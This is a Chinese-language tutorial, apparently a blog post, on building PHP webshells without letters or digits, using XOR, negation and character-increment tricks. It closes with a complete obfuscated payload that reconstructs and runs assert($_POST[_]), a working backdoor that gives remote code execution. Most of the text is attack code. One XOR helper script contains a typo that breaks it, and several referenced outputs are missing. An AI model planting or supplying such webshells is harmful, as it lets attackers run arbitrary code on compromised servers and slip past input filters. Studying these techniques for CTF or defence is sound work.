构造无字母数字Webshell

异或：

补充：
A的ascii为65，对应二进制是01000001

<?php
    echo "1"^"A";
?>

将“A”和“1”进行异或，结果为“p”

异或的过程就是讲字符转化为ascii，再变为二进制进行异或

“1”和“A”各自的ascii码的二进制进行异或得到一个新的二进制，再进行转码，最终变为”p“

构造assert($_POST[_]);

<?PHP
     for($i = 0; $i < 256; $i++)
     {
         for($j=0; $j < 256;$j++)
         {
             if(chr($i^$j) == 'A')
             {
                 echo (urlencode(chr($i)) . " " . urlencode(chr(&j));
                 echo "\n";
             }
         }
     }
?>
//第六行中的A可以根据需求自行改变

以此类推，可以得到webshell

取反：

利用UTF-8编码的某个汉字，将其中某个字符取出来

<?php
echo ~('和'{2});
?>
<?php
echo ~('安'{2});
?>

结果为

变量自增：

‘a'++ == 'b'

'c'++ == 'd'

不难发现，通过一个字符就可以根据ascii码得到a-z所有字符

<?PHP
echo (''.[]);
?>

数组Array的第一个字母是大写A，而第四个字母是小写a。

在php中，如果强制连接数组和字符串的话，数组将被转换成字符串，即Array

 

再例如

<?php
function B(){
    echo "xiao";
}
$_++;
$__= "?" ^ "}";
$__();
?>

结果为

$_++; 表示对_这个变量进行自增操作，在php中未定义的变量默认值为null，可以通过非数字进行自增操作得到一个数字

$__="?" ^ "}";表示对？和}进行异或运算，结果为B同时复制给$__

$__();函数调用

<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
?>

如图

参考：

https://blog.csdn.net/a15803617402/article/details/83589181

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html